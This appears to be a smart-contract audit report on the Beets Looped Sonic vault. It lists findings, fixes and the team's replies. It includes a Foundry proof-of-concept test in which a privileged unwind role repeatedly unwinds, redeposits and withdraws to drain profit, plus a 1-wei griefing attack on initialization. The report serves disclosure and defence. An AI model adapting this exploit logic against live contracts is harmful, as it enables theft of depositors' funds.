Beets Looped Sonic

Description

The unwind function is used when the protocol leverage in the underlying AAVE pool needs to be reduced when it is no longer profitable. An actor with UNWIND_ROLE exchanges LST for WETH and repays the protocol to lower leverage. The role can act freely and unwind beyond the target healthFactor up until the underlying AAVE pool allows, then repay WETH. The vault uses the LST's convertToAsset ratio as a reference price and applies allowedUnwindSlippagePercent, which permits the UNWIND_ROLE to return slightly less WETH when exchanging LST in external markets.

If an external market sells LST at a price greater than redemptionAmount * (1e18 - allowedUnwindSlippagePercent) / 1e18, the UNWIND_ROLE can repeatedly:

1. Call unwind, exchanging LST for WETH and paying back only the minimum required by the protocol (subject to allowedUnwindSlippagePercent).
2. Deposit proceeds back into the protocol to raise the healthFactor.
3. Withdraw shares.

Repeat until the vault is drained or the external market's price falls to LST.convertToAssets(shares) * (1e18 - allowedUnwindSlippagePercent) / 1e18.

In the process described above, step (1) generates profit for the UNWIND_ROLE, while steps (2) and (3) just reset the vault to enable the process to be repeated.

It should be noted that, even if the UNWIND_ROLE is not acting maliciously, any deposit made after an unwind action effectively reverses the unwind.

Proof of Concept

Below there is a PoC where it showcases the exploit above. To make this PoC work there are other contracts required which are included in the appendix. The PoC assumes that there is an infinite market that sells LSTs at a higher price that the threshold requires. While this is not realistic it serves nicely as a part of this proof of concept.

// forge test --rpc-url $RPC_URL -vv --match-test testUnwindLoop --block-number 47500000function testUnwindLoop() public {        uint256 depositAmount = 100 ether;        uint256 unwindInitialWethBalance = 100 ether;        vm.deal(user1, depositAmount);
        uint256 slippageDifference = 0.002e18;
        MockFlatRateExchange exchange = new MockFlatRateExchange(address(LST), address(WETH), uint256(PRICE_CAP_ADAPTER.getRatio()) - INITIAL_ALLOWED_UNWIND_SLIPPAGE + slippageDifference, 1e18); // the slippage rate is 0.007e18, we are making the rate be 0.002e18 above the allowed slippage        MockUnwindContract unwindContract = new MockUnwindContract(address(vault), address(exchange), slippageDifference, address(LST), address(WETH), address(router));
        deal(address(WETH), address(unwindContract), unwindInitialWethBalance);
        vm.startPrank(admin);        vault.grantRole(vault.UNWIND_ROLE(), address(unwindContract));        vm.stopPrank();
        vm.prank(user1);        router.deposit{value: depositAmount}();
        for(uint256 i; i < 300; ++i){ // Doing the loop 300 time to gain profit            VaultSnapshot.Data memory snapshot = vault.getVaultSnapshot();
            if(snapshot.wethDebtAmount == 0 || snapshot.lstCollateralAmountInEth < 1e18) {                break;            }                        uint256 lstToTakeInEth = snapshot.lstCollateralAmountInEth * snapshot.ltv / 10_000 - snapshot.wethDebtAmount;            uint256 lstToTake = lstToTakeInEth * 1e18 * 999 / uint256(PRICE_CAP_ADAPTER.getRatio()) / 1000; // The rate is higher than any market offers, so this is the lower bound of lst that we are able to withdraw
            uint256 minWethOut = LST.convertToAssets(lstToTake) * (1e18 - INITIAL_ALLOWED_UNWIND_SLIPPAGE) / 1e18; // Formula from vault
            unwindContract.unwind(lstToTake, minWethOut); // unwinds the max amount possible, taking the HF up
            unwindContract.deposit(); // deposits 1 ether to take HF down again
            unwindContract.withdraw();        }
        vm.assertGt(WETH.balanceOf(address(unwindContract)), unwindInitialWethBalance * 11 / 10);        unwindContract.logAssets(); // 117_242697712389394559 There is a 17 ETH increase in unwind's balance     }

Recommendation

The unwind function can be exploited by the UNWIND_ROLE to profit from the difference between 1e18 - allowedUnwindSlippagePercent and the external market value. Without redepositing, the UNWIND_ROLE can only repay the protocol’s debt and capture profit once. However, by redepositing into the protocol, the process can be repeated multiple times.

To prevent repeated profitability from unwind operations, we recommend implementing one of the following mitigations:

• Increase the targetHealthFactor after an unwind, ensuring that subsequent deposits cannot reset the healthFactor.
• Temporarily pause deposits following an unwind to prevent looping behavior.

Beets Finance: Addressed in PR 15. The following checks were added:

• An unwind can only be performed if currentHealthFactor <= targetHealthFactor - MARGIN, where MARGIN == 0.01e18.
• An unwind CANNOT end with currentHealthFactor > targetHealthFactor.

In this way, we cap the amount of damage that can be done by a malicious unwind to the delta. Additionally, the margin ensures that an unwind cannot be called for small amounts of debt accrual that would be managed by user deposits.

Cantina Managed: Verified fix. The UNWIND_ROLE powers have been changed to limit the degree of deleveraging that can be done.

Description

During initialization, there is a check to ensure lstCollateralAmount is zero. An attacker can send 1 wei of an LST to the vault contract before or after deployment, causing initialization to fail. If initialization fails, no other actions can be performed.

Recommendation

Remove this check. Doing so does not open up any other attacks, including inflation related attacks.

Beets Finance: Resolved in PR 13.

Cantina Managed: Verified fix. The zero check has now been removed.

Description

The borrowAmountForLoopInEth function returns the maxBorrowAmount is returned when wethDebtAmount is zero. maxBorrowAmount at any time is equal to collateral * LTV minus a dust amount.

However, If the condition LiquidationThreshold + LiquidationThreshold / LTV < TargetHealthFactor holds, the borrow through the router fails. This happens because even the initial maxBorrowAmount would reduce the healthFactor below the required TargetHealthFactor.

It should be noted that in realistic scenarios (e.g. LiquidationThreshold = 0.92, LTV = 0.87), the TargetHealthFactor must be quite high (>1.977).

Proof of Concept

// forge test --rpc-url $RPC_URL -vv --match-test testMaxBorrowAndRatio --block-number 47500000function testMaxBorrowAndRatio() public {        uint256 depositAmount = 10 ether;        address poolConfigurator = 0x50c70FEB95aBC1A92FC30b9aCc41Bd349E5dE2f0;        vm.deal(user1, depositAmount);
        DataTypes.CollateralConfig memory collateralConfig = vault.AAVE_POOL().getEModeCategoryCollateralConfig(E_MODE_CATEGORY_ID);        vm.startPrank(poolConfigurator);        vault.AAVE_POOL().configureEModeCategory(E_MODE_CATEGORY_ID, DataTypes.EModeCategoryBaseConfiguration(8700, 9200, collateralConfig.liquidationBonus, ""));        vm.stopPrank();
        // LiquidationThreshold + LiquidationThreshold/LTV < TargetHealthFactor => Fails        // 0.92(1 + 1/0.87) = 1.977        vm.prank(admin);        // vault.setTargetHealthFactor(1980000000000000000); // Fails        vault.setTargetHealthFactor(1970000000000000000); // Passes
        console2.log("HF: ", vault.targetHealthFactor());        console2.log("LTV: ", collateralConfig.ltv);        console2.log("LT: ", collateralConfig.liquidationThreshold);
        vm.prank(user1);        router.deposit{value: depositAmount}();     }

Recommendation

To address this issue, the healthFactor and borrowAmountForLoopInEth functions can assume data.wethDebtAmount is equal to 1 when it is 0. In such cases the targetAmount would correctly calculate the amount that should be borrowed.

Beets Finance: Acknowledge the issue here, but we'd opt to leave the code as is since the values that cause the revert are outside of any reasonable operational values.

Cantina Managed: Acknowledged as a won't-fix.

Trust assumptions

The following points should hold in order for the security of the system to be upheld:

• The DEFAULT_ADMIN_ROLE is generally trusted with user funds but UNWIND_ROLE and OPERATOR_ROLE are only able to trigger their respective actions and not modify core parameters or profit from user funds.

• The admin can change the aaveCapoRateProvider, which directly impacts pricing and could potentially affect user funds. Placing this power behind a timelock gives users sufficient time to review upcoming changes and take protective actions if needed.

• Admin is supposed to monitor governance actions and keep the targetHealthFactor under control, especially when LTV and LiquidationThreshold are upgraded through governance.

• The protocol’s security also depends on external components, such as the PRICE_CAP_ADAPTER. The isCapped() function tracks growth per second since the last snapshot. This means that the closer the system is to the previous snapshot, the easier it becomes to trigger isCapped() by donating WETH to the LST contract. When isCapped() is active, different parts of the system start relying on different price sources. For example, the unwind function uses the LST’s own interface, while other functions depend on the capped value. This mismatch can cause inconsistencies and, in some cases, may require the UNWIND_ROLE to spend extra funds to meet thresholds. There are also risks from external actors who can influence the LST’s total assets. For instance, operators or admins of the LST can call functions like claimRewards, clawback, or delegate. Because of this, any updates to these functionalities(especially to the PRICE_CAP_ADAPTER) must be handled with great caution.

Description

The protocol implements deposit/withdraw functions which are un-permissioned but execute callbacks to msg.sender to facilitate specific AAVE pool actions. This allows the recipient of the callback to perform multiple borrow/supply calls on the pool to maintain the target health factor.

While it is not a direct security issue, there is a concern in not whitelisting these callback recipients as the implemented router contract will be the main path for performing any loop operations on the vault.

Recommendation

Consider specifically whitelisting these router contracts so all deposit/withdraw operations must be executed from the context of the router contract. In the future, if new routers are added or current ones are changes, the whitelist can be easily updated, avoiding any mis-use of the vault functions where normal usage would be expected.

Beets Finance: Addressed in PR 16.

Cantina Managed: Verified fix.